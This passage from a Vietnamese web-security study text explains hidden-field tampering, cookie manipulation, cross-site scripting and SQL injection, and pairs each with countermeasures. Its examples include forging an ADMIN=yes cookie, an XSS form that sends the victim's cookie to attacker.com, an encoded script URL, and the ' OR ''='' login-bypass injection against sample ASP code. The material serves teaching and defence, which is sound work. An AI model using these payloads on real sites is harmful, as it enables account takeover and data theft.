đến, tuy nhiên hacker có thể sử dụng Proxy để che dấu nguồn gốc thực của nó, vì vậy cũng không nên quá tin tưởng biến HTTP_REFERER để kiểm tra

Ghép tên và giá trị của biến ẩn thành một chuỗi đơn Sử dụng thuật toán

mã hoá hoặc một kiểu hash một chiều khác để tổng hợp chuỗi đó và lưu nó vào một hidden field gọi là “Chuỗi mẫu” Khi giá trị trong form được gửi đi, các thao tác như trên được thực hiện lại với cùng một khoá mà ta định trước Sau đó đem

so sánh với “Chuỗi mẫu”, nếu chúng không khớp nhau thì chứng tỏ giá trị trong biểu mẫu đã bị thay đổi

Dùng một sessionID để tham chiếu đến thông tin được lưu trữ trên CSDL

Trang 25

2.1.4 Thao tác trên Cookie

a) Khái niệm:

Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa trình chủ

và trình duyệt của người dùng

Cookie lưu trữ dưới những file dữ liệu nhỏ dạng text, được ứng dụng tạo

ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm trang Web và những vùng mà họ đi qua trong trang Những thông tin này bao gồm tên/định danh người dùng, mật khẩu, sở thích, thói quen cookie được trình duyệt của người dùng chấp nhận lưu trên đĩa cứng của máy mình, tuy nhiên không phải lúc nào trình duyệt cũng hỗ trợ cookie, mà còn tùy thuộc vào người dùng có chấp nhận chuyện lưu trữ đó hay không

Ở những lần truy cập sau đến trang Web đó, ứng dụng có thể dùng lại những thông tin trong cookie, người dùng không phải làm lại thao tác đăng nhập hay phải cung cấp lại các thông tin khác

Cookie được phân làm 2 loại secure/non-secure và persistent/non-persistent

do đó ta sẽ có 4 kiểu cookie là:

Persistent và Secure Persistent và Non-Secure

+ Persistent cookies được lưu trữ dưới dạng tập tin txt (ví dụ trình duyệt Netscape navigator sẽ lưu các cookie thành một tập tin cookie.txt còn Internet Explorer sẽ lưu thành nhiều tập tin *.txt trong đó mỗi tập tin là một cookie) trên máy khách trong một khoảng thời gian xác định

+ Non-persistent cookie thì được lưu trữ trên bộ nhớ RAM của máy khách

và sẽ bị hủy khi đóng trang web hay nhận được lệnh hủy từ trang web

+ Secure cookie chỉ có thể được gửi thông qua HTTPS (trình chủ sẽ cung cấp chế độ truyền bảo mật.)

+ Non-Secure cookie được gửi qua hai giao thức HTTPS hoặc HTTP

Trang 26

Ví dụ 5:

chuỗi lệnh trong HTTP header dưới đây sẽ tạo một cookie:

Set-Cookie:Apache="64.3.40.151.16018996349247480"; path="/";

domain="www.redhat.com"; path_spec; expires="2006-07-2719:39:15Z"; version=0

+ Các cookie của Netscape (NS) đặt trong một tập tin Cookies.txt, với đường dẫn là: C:\Program Files\Netscape\Users\UserName\Cookies.txt

+ Các cookies của IE được lưu thành nhiều tập tin, mỗi tập tin là một cookie

và được đặt trong [C:]\Documents and Setting\[username]\Cookies (Win2000), đối với win9x, thư mục cookies nằm trong thư mục [C:]\Windows\cookies

Kích thước tối đa của cookie là 4kb Số cookie tối đa cho một tên miền là

20 cookie Cookie bị hủy ngay khi đóng trình duyệt gọi là “session cookie”

Vì cookie là thành phần lưu trữ thông tin bảo mật nhất nên Cookie thường được dùng để lưu giữ trạng thái cho giao thức HTTP hơn là trường ẩn form và biến trên URL Nó còn được dùng để lưu trữ những thông tin của người dùng khi sử dụng ứng dụng và những dữ liệu khác của session Tất cả các loại cookie như persistent hay non-persistent, secure hay insecure đều có thể bị thay đổi bởi người dùng và được gửi về cho trình chủ Do đó hacker có thể thay đổi nội dung cookie để phá hoại ứng dụng

Với công cụ miễn phí như Winhex thì non-persistent cookie có thể bị thay đổi nội dung SSL chỉ có thể bảo vệ cookie trong quá trình truyền

Ví dụ 6:

Cookie: lang=en-us; ADMIN=no; y=1 ; time=10:30GMT ;

Cookie xác định người dùng này không phải là Admin (ADMIN=no), nhưng nếu hacker thay đổi thành:

Cookie: lang=en-us; ADMIN=yes; y=1 ; time=12:30GMT ;

Hacker lúc này mang vai trò là một nhà quản trị của ứng dụng

Trang 27

Biện pháp khắc phục

Sử dụng đối tượng session lưu trữ thông tin quan trọng trên trình chủ

Khi ứng dụng cần kiểm tra thông tin của một người dùng, ứng dụng sẽ dùng sessionID của người dùng để chỉ đến thông tin của người dùng đó trong cache hay cơ sở dữ liệu

Xây dựng một cơ chế kiểm tra nội dung của cookie để tìm ra những giá trị không hợp lệ từ đó biết được cookie đó là giả Ví dụ là nếu biến cờ

“người quản trị” được được thiết lập là đúng trong cookie, nhưng giá trị của số thứ tự người dùng trong cookie lại không giống như giá trị số thứ tự của “người quản trị” được lưu trữ trên server

Phương pháp cuối cùng là mã hoá cookie Một số phương pháp mã hoá như symmetric (dùng 1 khóa duy nhất cho cả mã hóa và giải mã) hay asymmetric (mã hóa dùng 2 khóa riêng biệt, một khóa dùng chung cho mã hóa và một khóa riêng để giải mã)

Trang 28

2.2 TẤN CÔNG “CHÈN MÃ LỆNH TRÊN TRÌNH DUYỆT”

(Cross Site Scripting -XSS) 2.2.1 Phương pháp tấn công XSS

Phương pháp “Cross Site Scripting” (XSS) là phương pháp tấn công, bằng cách chèn thêm những đoạn mã có khả năng đánh cắp hay thiết lập được những thông tin quan trọng như cookies, mật khẩu,… vào mã nguồn ứng dụng web, để

từ đó chúng được chạy như là một phần của ứng dụng Web, và có khả năng cung cấp hoặc thực hiện những điều hacker muốn

Phương pháp này không nhằm vào máy chủ hệ thống, mà chủ yếu tấn công vào máy người dùng Hacker lợi dụng sự kiểm tra lỏng lẻo từ ứng dụng và hiểu biết hạn chế của người dùng, biết đánh vào sự tò mò của họ dẫn đến người dùng bị mất thông tin một cách dễ dàng

Thông thường hacker lợi dụng địa chỉ URL, để đưa ra những liên kết là tác nhân kích hoạt những đoạn chương trình viết bằng ngôn ngữ máy khách như VBScript, JavaScript… thực thi trên chính trình duyệt của nạn nhân

Trang 29

Ví dụ trên chỉ minh họa việc thêm đoạn mã của mình vào trang Web thông qua URL Nhưng thực sự thì có nhiều cách để thêm đoạn mã JavaScript với mục đích tấn công kiểu XSS Hacker có thể lợi dụng Document Object Model (DOM), để thay đổi ngữ cảnh và nội dung Web ứng dụng Sau đây là danh sách nơi có thể chèn đoạn mã:

Trang 30

Các bước thực hiện XSS truyền thống:

Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ của hacker

Bước 4: Hacker tạo một chương trình hoặc một trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin

Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm nhập vào tài khoản của người dùng

Trang 31

Ví dụ 8:

Khi đang đọc thư mà chuyển sang website khác, có thể bị mất mật khẩu

Trước đây, hàng loạt hộp thư của Yahoo bị mất mật khẩu hay bị đọc trộm thư

mà không rõ nguyên nhân, đó là do lỗi XSS Hacker đã sử dụng đoạn mã sau để đánh cắp cookie:

<form action="http://attacker.com/save.asp" method="post" name="XSS">

<input type="hidden" name="cookie"> </form>

<img border="0" onmouseover="window.document.XSS.cookie.value = document.cookie; window.document.XSS.submit();" src="none.jpg">

Khi nhận thư, nếu vô tình đưa con chuột qua bức ảnh gửi kèm, người dùng sẽ bị lấy mất cookie Và với cookie lấy được, các hacker có thể login hòm thư mà không cần biết mật khẩu

Ví dụ 9:

Nếu như gặp một liên kết có dạng:

http://example.com/search.cgi?query=<script>alert(document.cookie)</script>

Người dùng phải xem xét kĩ trước khi click vào, vì có khả năng sẽ mất cookies

Do đó nên tắt JavaScript cho trình duyệt trước khi click vào, hay ít nhất cũng có một chút cảnh giác Nhưng nếu gặp liên kết:

http://example.com/search.cgi?%71%75%65%61%72%79%3D%3C%73%63%72%6 9%70%74%3E%61%6C%65%61%72%74%28%64%63%75%6D%65%6E%6C%74%2E%6 3%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E]

Đó thực chất chính là liên kết ban đầu, nhưng chỉ khác nó được mã hoá

Một phần kí tự của liên kết đã được thay thế bởi mã HEX của nó, tất nhiên trình duyệt của bạn vẫn hiểu địa chỉ đó thực sự là gì

Trang 32

2.2.2 Biện pháp phòng tránh:

OWASP nói rằng để có thể xây dựng các website bảo mật cao, đối với các

dữ liệu của người dùng nên:

+ Chỉ chấp nhận những dữ liệu hợp lệ

+ Từ chối nhận các dữ liệu hỏng

+ Liên tục kiểm tra và thanh lọc dữ liệu

Tuy nhiên trên thực tế, một số trường hợp phải chấp nhận cả dữ liệu hợp

lệ, không hợp lệ hay dữ liệu hỏng vì không có một bộ lọc phù hợp Chính vì vậy phải có những cách riêng để giải quyết

Một trong những cách hay dùng là mã hoá các kí tự đặc biệt trước khi in

ra website, nhất là những gì có thể gây nguy hiểm cho người dùng Trong trường hợp mã hóa thẻ <script> thành <script> Như vậy nó sẽ vẫn được in ra màn hình

mà không hề gây nguy hiểm cho người dùng

Cần cấu hình lại trình duyệt để nhắc nhở người dùng có cho thực thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vào mức độ tin cậy mà người dùng sẽ quyết định

Trang 33

2.3 TẤN CÔNG KIỂU “CHÈN CÂU LỆNH TRUY VẤN” (SQL Injection)

SQL Injection là cách lợi dụng những lỗ hổng trong quá trình lập trình Web về phần truy xuất CSDL Đây không chỉ là khuyết điểm của riêng SQL Server, mà nó còn là vấn đề chung cho toàn bộ các CSDL khác như Oracle, MS Access hay IBM DB2

Khi hacker gửi dữ liệu (thông qua các form), ứng dụng Web sẽ thực hiện

và trả về cho trình duyệt kết quả câu truy vấn hay thông báo lỗi có liên quan đến CSDL Và nhờ những thông tin này, hacker biết được nội dung CSDL, và từ đó

có thể điều khiển hệ thống ứng dụng

Các dạng tấn công bằng SQL Injection:

Có bốn dạng thông thường bao gồm:

1 Vượt qua kiểm tra lúc đăng nhập (authorization bypass)

2 Sử dụng câu lệnh SELECT

3 Sử dụng câu lệnh INSERT

4 Sử dụng các stored-procedure

Trang 34

2.3.1 Tấn công vượt qua kiểm tra đăng nhập

Với dạng tấn công này, tin tặc có thể vượt qua các trang đăng nhập, nhờ vào lỗi khi dùng các câu lệnh SQL, thao tác trên CSDL của ứng dụng web

Xét ví dụ điển hình, thông thường để cho phép người dùng truy cập vào các trang web được bảo mật, hệ thống có trang đăng nhập để người dùng nhập tên đăng nhập và mật khẩu Hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp Có thể dùng hai trang, một trang HTML để hiển thị form nhập liệu và một trang ASP dùng

để xử lí thông tin nhập từ phía người dùng

Ví dụ 11:

login.htm

<form action="execlogin.asp" method="post">

Username: <input type="text" name="fUSRNAME">

Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN= "

If (objRS.EOF) Then Response.Write "Invalid login."

Else Response.Write "You are logged in as " & objRS("USR_NAME") End If

Set objRS = Nothing %>

Trang 35

Đoạn mã “execlogin.asp” dường như không chứa một lỗ hổng về an toàn

Người dùng không thể đăng nhập mà không có tên đăng nhập và mật khẩu hợp

lệ Tuy nhiên, đoạn mã này thực sự không an toàn và là tiền đề cho một lỗi SQL injection Sơ hở nằm ở dữ liệu nhập vào từ người dùng được dùng để xây dựng trực tiếp câu lệnh SQL Chính điều này cho phép những kẻ tấn công có thể điều khiển câu truy vấn sẽ được thực hiện

Nếu người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu username và

password của trang “login.htm” là: ' OR ' ' = ' ' Lúc này, câu truy vấn sẽ được gọi thực hiện là:

SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and USR_PASSWORD= '' OR ''=''

Câu truy vấn này là hợp lệ, và sẽ trả về tất cả các bản ghi của T_USERS, câu lệnh so sánh luôn luôn đúng (vì‘’luôn bằng‘’), nên câu điều kiện trong mệnh

đề WHERE luôn đúng, và thực hiện phép logic “OR” giữa giá trị bất kì với dữ liệu trong T_USERS, giá trị tên người sử dụng của dòng đầu tiên trong bảng sẽ được chọn, xử lí người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ

Trang 36

2.3.2 Tấn công sử dụng câu lệnh SELECT

Dạng tấn công này phức tạp hơn Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ

hệ thống, để dò tìm các điểm yếu khởi đầu cho việc tấn công

Xét ví dụ thường gặp trong các website về tin tức Có một trang nhận ID

của tin cần hiển thị, sau đó truy vấn nội dung của tin có ID này

strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" & vNewsID & "

Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN= "

Set objRS = Nothing

%>

Trong tình huống thông thường, đoạn mã này hiển thị nội dung của tin có

ID trùng với ID đã chỉ định, và hầu như không thấy có lỗi Tuy nhiên, giống như

ví dụ 11, đoạn mã này để lộ sơ hở cho một lỗi SQL injection khác Kẻ tấn công

có thể thay thế ID hợp lệ bằng cách gán ID cho một giá trị khác, và khởi đầu cho cuộc tấn công bất hợp pháp

Ngày đăng: 01/11/2022, 16:05

🧩 Sản phẩm bạn có thể quan tâm

w